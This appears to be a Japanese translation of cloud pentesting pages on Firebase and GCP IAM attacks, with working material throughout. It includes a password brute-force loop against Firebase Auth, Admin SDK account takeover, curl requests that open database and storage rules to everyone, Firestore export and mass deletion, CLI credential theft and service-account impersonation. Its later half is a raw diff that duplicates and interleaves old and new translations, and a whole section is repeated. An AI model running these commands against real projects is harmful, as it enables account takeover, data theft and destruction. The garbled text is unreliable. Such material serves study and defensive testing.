- functions.https.onRequest を使用しており、認証を強制しません(onCall functions と異なり)。
- 関数のコードがユーザー認証を検証していない(例: request.auth や context.auth のチェックがない)。
- 関数が IAM 上で公開されており、allUsers が roles/cloudfunctions.invoker ロールを持っている。これは、開発者がアクセスを制限しない限り、HTTP functions のデフォルトの挙動です。
Firebase HTTP Cloud Functions は次のような URL を通じて公開されます:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
攻撃者はソースコード解析、ネットワークトラフィックの解析、列挙ツール、またはモバイルアプリのリバースエンジニアリングを通じてこれらの URL を発見できます。
関数が公開されていて認証が不要な場合、攻撃者は資格情報なしで直接呼び出すことができます。
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
関数が入力を適切に検証しない場合、攻撃者は code injection や command injection などの他の攻撃を試みる可能性があります。
### 弱いパスワードポリシーを持つ Firebase Authentication に対するブルートフォース攻撃
攻撃を実行するために攻撃者が特別な Firebase 権限を必要とすることはありません。必要なのは、Firebase API Key がモバイルや web アプリケーションで公開されていること、そしてパスワードポリシーがデフォルト以上に厳しく設定されていないことだけです。
攻撃者は Firebase API Key を特定する必要があり、それは mobile app reverse engineering、google-services.json や GoogleService-Info.plist のような設定ファイルの解析、web アプリケーションのソースコードの確認(例: bootstrap.js)、またはネットワークトラフィックの解析によって見つけることができます。
Firebase Authentication の REST API は次のエンドポイントを使用して、email と password で認証します:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
Email Enumeration Protection が無効になっている場合、API のエラー応答はメールアドレスがシステムに存在するかどうかを示すことがあり(EMAIL_NOT_FOUND と INVALID_PASSWORD の違い)、これにより攻撃者はパスワード推測を試みる前にユーザーを列挙できます。この保護が有効な場合、API は存在しないメールアドレスと誤ったパスワードの両方に対して同じエラーメッセージを返し、ユーザー列挙を防ぎます。
Firebase Authentication は rate limiting を強制することに注意してください。短時間に認証試行が多数行われるとリクエストがブロックされる可能性があります。このため、攻撃者はレート制限を受けないように試行間に遅延を挿入する必要があります。
攻撃者は API Key を特定し、既知のアカウントに対して複数のパスワードで認証試行を行います。Email Enumeration Protection が無効な場合、攻撃者はエラー応答を解析することで既存のユーザーを列挙できます:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
レスポンスに EMAIL_NOT_FOUND が含まれている場合、そのメールはシステムに存在しません。レスポンスに INVALID_PASSWORD が含まれている場合、そのメールは存在しますがパスワードが間違っており、ユーザーが登録されていることが確認できます。一度有効なユーザーが特定されると、攻撃者は brute-force を試みることができます。Firebase Authentication のレート制限機構を回避するため、試行の間に一時停止を入れることが重要です:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
デフォルトのパスワードポリシー(minimum 6 characters、複雑さの要件なし)では、attackerはすべての6文字パスワードの組み合わせを試すことが可能で、これはより厳しいパスワードポリシーと比べて比較的小さな探索空間を意味します。
### Firebase Authentication におけるユーザー管理
この攻撃を実行するために、attackerはFirebase Authenticationに対する特定の権限が必要です。必要な権限は次のとおりです:
- `firebaseauth.users.create` — ユーザーを作成するため
- `firebaseauth.users.update` — 既存ユーザーを変更するため
- `firebaseauth.users.delete` — ユーザーを削除するため
- `firebaseauth.users.get` — ユーザー情報を取得するため
- `firebaseauth.users.sendEmail` — ユーザーへメールを送信するため
- `firebaseauth.users.createSession` — ユーザーセッションを作成するため
これらの権限は `roles/firebaseauth.admin` ロールに含まれており、Firebase Authentication リソースへの完全な読み書きアクセスを付与します。さらに、これらはより上位のロール(例えば roles/firebase.developAdminwhich includes all firebaseauth.* permissions)や roles/firebase.adminfull access to all Firebase services)など)にも含まれます。
Firebase Admin SDK を使用するには、attackerはサービスアカウントの資格情報(JSONファイル)へのアクセスを必要とします。これらの資格情報は、侵害されたシステム、公開されたコードリポジトリ、侵害された CI/CD システム、あるいはこれらの資格情報にアクセスできる開発者アカウントの侵害を通じて見つかる可能性があります。
最初のステップは、サービスアカウントの資格情報を使って Firebase Admin SDK を設定することです。
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
被害者のメールアドレスを使って悪意のあるユーザーを作成するため、攻撃者は Firebase Admin SDK を使ってそのメールアドレスで新しいアカウントを生成しようとします。
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
既存のユーザーを変更するには、attacker はメールアドレス、確認ステータス、アカウントが無効化されているかどうかなどのフィールドを更新します。
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
ユーザーアカウントを削除して denial of service を引き起こすために、攻撃者はそのユーザーを完全に削除するリクエストを発行します。
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
attackerは、UIDやemail addressを指定して既存ユーザーの情報を取得することもできます。
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
さらに、攻撃者は確認用リンクやパスワードリセットリンクを生成して、ユーザーのパスワードを変更し、そのアカウントにアクセスすることができる。
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Firebase Authentication におけるユーザー管理
攻撃者はこの攻撃を実行するために特定の Firebase Authentication の権限が必要です。必要な権限は次のとおりです。
- `firebaseauth.users.create` ユーザーを作成するため
- `firebaseauth.users.update` 既存ユーザーを変更するため
- `firebaseauth.users.delete` ユーザーを削除するため
- `firebaseauth.users.get` ユーザー情報を取得するため
- `firebaseauth.users.sendEmail` ユーザーにメールを送信するため
- `firebaseauth.users.createSession` ユーザーセッションを作成するため
これらの権限は roles/firebaseauth.admin ロールに含まれており、Firebase Authentication リソースへの完全な読み書き権限を付与します。また、`roles/firebase.developAdmin`(すべての firebaseauth.* 権限を含む)や `roles/firebase.admin`(すべての Firebase サービスへのフルアクセス)といった上位のロールにも含まれます。
Firebase Admin SDK を使用するには、攻撃者はサービスアカウントの資格情報(JSON ファイル)へのアクセスが必要です。これらは、侵害されたシステム、公開されたコードリポジトリ、侵害された CI/CD 環境、またはこれらの資格情報にアクセスできる開発者アカウントの侵害から入手される可能性があります。
最初のステップは、サービスアカウントの資格情報を使って Firebase Admin SDK を設定することです。
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
攻撃者はvictimのemailを使ってmalicious userを作成するため、そのemailで新しいuser accountを作成し、自分のpasswordとprofile informationを割り当てようとします。
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
既存のユーザーを変更するには、attacker はメールアドレス、検証ステータス、またはアカウントが無効化されているかどうかといったフィールドを変更します。
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
ユーザーアカウントを削除することで—実質的に denial of service を引き起こすことになり—攻撃者はそのユーザーを恒久的に削除するリクエストを発行します。
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
攻撃者は、UID または email アドレスでユーザーの詳細を要求することで、既存ユーザーの情報(UID や email など)を取得することも可能です。
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
さらに、攻撃者は verification links や password-reset links を生成し、ユーザーのパスワードを変更してアカウントを掌握することができます。
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Firebaseサービスにおけるセキュリティルールの変更
攻撃者は、サービスに応じてセキュリティルールを変更するための特定の権限が必要です。Cloud Firestore と Firebase Cloud Storage では、ruleset を作成するための `firebaserules.rulesets.create` と、releases をデプロイするための `firebaserules.releases.create` が必要です。これらの権限は `roles/firebaserules.admin` ロール、または `roles/firebase.developAdmin``roles/firebase.admin` のような上位ロールに含まれます。Firebase Realtime Database の場合、必要な権限は `firebasedatabase.instances.update` です。
攻撃者は Firebase REST API を使ってセキュリティルールを変更する必要があります。まず、攻撃者は service account credentials を使って access token を取得する必要があります。トークンを取得するには:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Firebase Realtime Database のルールを変更するには:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
Cloud Firestore のルールを変更するには、攻撃者は ruleset を作成してからデプロイする必要があります:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
前のコマンドは projects/<project-id>/rulesets/<ruleset-id> の形式の ruleset 名を返します。新しいバージョンをデプロイするには、リリースを PATCH リクエストで更新する必要があります:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
Firebase Cloud Storage のルールを変更するには:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
前のコマンドは projects/<project-id>/rulesets/<ruleset-id> の形式で ruleset 名を返します。新しいバージョンをデプロイするには、release を PATCH リクエストで更新する必要があります:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Cloud Firestoreにおけるデータの持ち出しと操作
Cloud FirestoreはCloud Datastoreと同じインフラおよび権限システムを使用するため、Datastore IAM権限はそのままFirestoreに適用されます。TTLポリシーを操作するには`datastore.indexes.update`権限が必要です。データをエクスポートするには`datastore.databases.export`権限が必要です。データをインポートするには the datastore.databases.import permission is required。大量データ削除を行うには`datastore.databases.bulkDelete`権限が必要です。
バックアップと復元操作では、以下の特定の権限が必要です:
- `datastore.backups.get``datastore.backups.list` — 利用可能なバックアップの一覧取得と詳細確認
- `datastore.backups.delete` — バックアップの削除
- `datastore.backups.restoreDatabase` — バックアップからのデータベース復元
- `datastore.backupSchedules.create``datastore.backupSchedules.delete` — バックアップスケジュールの管理
TTLポリシーを作成する際、削除対象となるエンティティを識別するためのプロパティを指定します。このTTLプロパティは日付と時刻の型でなければなりません。攻撃者は既存のプロパティを選ぶことも、後で追加する予定のプロパティを指定することもできます。フィールドの値が過去の日付であれば、そのドキュメントは即時削除の対象になります。攻撃者はgcloud CLIを使ってTTLポリシーを操作できます。
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
データをエクスポートしてexfiltrateするには、攻撃者は gcloud CLI を使用できます。
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
悪意のあるデータをインポートするには:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
大量のデータ削除を行い、denial of service を引き起こすために、攻撃者は gcloud Firestore bulk-delete tool を使用してコレクション全体を削除することができる。
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
バックアップおよび復元操作では、攻撃者はスケジュールされたバックアップを作成してデータベースの現在の状態を取得し、既存のバックアップを一覧表示し、バックアップから復元して最近の変更を上書きし、バックアップを削除して恒久的なデータ損失を引き起こし、スケジュールされたバックアップを削除できます。
即時にバックアップを生成する日次バックアップスケジュールを作成するには:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
特定のバックアップから復元するには、攻撃者はそのバックアップに含まれるデータを使って新しいデータベースを作成できます。復元操作はバックアップのデータを新しいデータベースに書き込むため、既存の DATABASE_ID は使用できません。
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
バックアップを削除して永久的なデータ損失を引き起こすには:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Theft and misuse of Firebase CLI credentials
攻撃者はこの攻撃を実行するために特定のFirebaseの権限を必要としませんが、開発者のローカルシステムまたはFirebase CLI credentials fileへのアクセスは必要です。これらの資格情報は次のJSONファイルに保存されています:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
このファイルには認証トークンが含まれており、refresh_tokenやaccess_tokenを含むため、攻撃者はfirebase loginを実行した元のユーザーとして認証できます。
攻撃者がFirebase CLI credentials fileにアクセスすると、ファイル全体を自分のシステムにコピーし、Firebase CLIはデフォルトの場所から自動的にその資格情報を使用します。その後、攻撃者は当該ユーザーがアクセス可能なすべてのFirebase projectsを閲覧できます。
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## IAM
Find more information about IAM in:
IAM に関する詳細情報は次を参照してください:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,52 +12,51 @@ Find more information about IAM in:
### `iam.roles.update` (`iam.roles.get`)
記載された権限を持つ攻撃者は、あなたに割り当てられたロールを更新し、次のような他のリソースに対する追加の権限を付与することができます:
<details><summary>IAMロールを更新して権限を追加する</summary>
上記の権限を持つ攻撃者は、あなたに割り当てられた role を更新し、次のような他のリソースに対して追加の権限を付与できるようになります:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
</details>
脆弱な環境の作成、exploit、クリーンアップを自動化するスクリプトは**here**にあり、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳しくは[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
**vuln environmentの作成、exploit、およびクリーンアップを自動化するスクリプトはこちら**と、この権限を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
iam.roles.create の権限はプロジェクト/組織内でカスタムロールを作成することを許可します。攻撃者の手に渡ると危険です。なぜなら、それにより新しい権限セットを定義でき、後で対象のエンティティに割り当てることで(例えば iam.serviceAccounts.setIamPolicy 権限を使用して)権限昇格を達成できるからです。
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
前述の権限を持つ攻撃者は、Service Account に属する access token を要求できるため、我々より権限の高い Service Account の access token を取得することが可能です。
<details><summary>Service Account を impersonate して access token を取得</summary>
前述の権限を持つ攻撃者は、**Service Account に属する access token を要求することができます**。そのため、私たちより権限の高い Service Account の access token を要求できる可能性があります。
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトは[**こちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh)にあり、この権限を悪用する Python スクリプトは[**こちら**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)にあります。詳細は[**オリジナルの調査**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
前述の権限を持つ攻撃者は、**Service Account 用のユーザー管理キーを作成する**ことができ、これによりその Service Account として GCP にアクセスできます。
<details><summary>Service Account キーを作成して認証する</summary>
上記の権限を持つ attacker は、**create a user-managed key for a Service Account** を実行でき、その Service Account として GCP にアクセスできるようになります。
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
</details>
自動化用スクリプトは[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)にあり、この権限を悪用する python スクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
脆弱な環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh)を自動化するスクリプトや、この権限を悪用するpythonスクリプト[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py)が見つかります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください
注意:**`iam.serviceAccountKeys.update` は SA のキーを変更するためには動作しません**。そのためには `iam.serviceAccountKeys.create` の権限も必要です。
注意: **`iam.serviceAccountKeys.update` はサービスアカウントのキーを変更するためには動作しません**。その操作には `iam.serviceAccountKeys.create` 権限も必要です
### `iam.serviceAccounts.implicitDelegation`
もしあなたが、ある Service Account に対して **`iam.serviceAccounts.implicitDelegation`** 権限を持っており、その Service Account が第三の Service Account に対して **`iam.serviceAccounts.getAccessToken`** 権限を持っているなら、implicitDelegation を使ってその第三の Service Account のトークンを作成することができます。以下は説明用の図です。
あるサービスアカウント上で **`iam.serviceAccounts.implicitDelegation`** 権限を持ち、かつそのサービスアカウントが第三のサービスアカウントに対して **`iam.serviceAccounts.getAccessToken`** 権限を持っている場合、implicitDelegation を使ってその第三のサービスアカウントのトークンを作成できます。説明用の図は以下です。
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
[**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、API を直接使てトークンを取得する方法は次のとおりです:
<details><summary>API を使って委任でアクセストークンを生成する</summary>
注意: [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) によると、`gcloud` の delegation は [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) メソッドを使ってトークンを生成する場合にのみ動作します。したがって、ここでは API を直接使用してトークンを取得する方法を示します:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -68,27 +67,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
</details>
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
上記の権限があれば、攻撃者は GCP 上で任意のペイロードに**署名することが可能**です。したがって、対象の SA の署名を得るために、まず SA の未署名 JWT を**作成してそれを blob として送信し、JWT を署名させる**ことが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)を参照してください
前述の権限を持つ攻撃者は、**GCP内の任意のペイロードに署名することができる**ようになります。したがって、対象のSAの未署名JWT作成してそれをblobとして送信し、SAにJWTを署名させることが可能になります。詳細は[**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)。
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py)および[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
上記の権限があれば、攻撃者は**適切に構成された JSON web tokens (JWTs) に署名する**ことができます。前の方法との違いは、**JWT を含む blob に対して google に署名させる代わりに、元から JWT を期待する signJWT メソッドを使用する**点です。これにより使いやすくなりますが、任意のバイトではなく JWT のみ署名できます。
前述の権限を持つ攻撃者は**整形式のJSON web tokens (JWTs) に署名することができる**ようになります。前の方法との違いは、**JWTを含むblobにGoogleに署名させる代わりに、既にJWTを期待するsignJWTメソッドを使**点です。これにより使いやすくなりますが、任意のバイトではなくJWTのみ署名できます。
この脆弱環境の[**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh)を作成・悪用・クリーンアップする作業を自動化するスクリプトと、この特権を悪用するpythonスクリプトは[**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)にあります。詳細は[**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)を参照してください。
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
上記の権限があれば、攻撃者は service accounts に対して**IAM ポリシーを追加する**ことができます。この機能を悪用して、自分自身にサービスアカウントをインパーソネートするために必要な権限を**付与する**ことが可能です。以下の例では、興味のある SA に対して自分に `roles/iam.serviceAccountTokenCreator` ロールを付与しています:
<details><summary>Add IAM policy binding to service account</summary>
前述の権限を持つ攻撃者は、サービスアカウントにIAMポリシーを**追加する**ことができるようになります。こを悪用して、自分自身にサービスアカウントを偽装するために必要な権限を**付与する**ことが可能です。以下の例では、興味のあるSAに対して自分に`roles/iam.serviceAccountTokenCreator`ロールを付与しています:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -99,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
### `iam.serviceAccounts.actAs`
**iam.serviceAccounts.actAs permission****iam:PassRole permission from AWS** に似ています。これは Compute Engine インスタンス起動などのタスクを実行する際に重要で、Service Account を "actAs" する能力を付与し、権限管理を安全に行えるようにします。これがなければ、ユーザが不当なアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用する方法は複数あり、それぞれに一連の権限が必要になる点が、単一の権限だけで済む他の手法と対照的です。
**iam.serviceAccounts.actAs permission**、AWS の **iam:PassRole permission** に似ています。Compute Engine インスタンス起動などの操作を実行する際に、Service Account として「actAs」できる権限を与えるため、権限管理において重要です。これがないと、ユーザが不適切にアクセスを得る可能性があります。さらに、**iam.serviceAccounts.actAs** を悪用するは複数の方法があり、それぞれに必要な権限セットが異なるのに対し、他の方法は単一の権限だけで済むものもあります。
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Service account を impersonate することは、**より高い権限を取得する**ために非常に有用です。別の service account を [impersonate する方法](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) は三通りあります:
Service account を impersonate することは、より高い権限を取得するために非常に有用です。別の service account を impersonate する方法は次の三通りがあります(詳細は [https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) を参照):
- Authentication **using RSA private keys** (covered above)
- Authorization **using Cloud IAM policies** (covered here)
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
- Authentication **using RSA private keys**(上で説明)
- Authorization **using Cloud IAM policies**(ここで説明)
- **Deploying jobs on GCP services**(ユーザアカウントの侵害により関連することが多い)
### `iam.serviceAccounts.getOpenIdToken`
上記の権限がある攻撃者は OpenID JWT を生成できます。これらはアイデンティティを主張するために使れ、必ずしもリソースに対する暗黙の認可を伴うわけではありません。
前述の権限を持つ攻撃者はOpenID JWT を生成できます。これらはアイデンティティを主張するために使用され、必ずしもリソースに対する暗黙の認可を含むとは限りません。
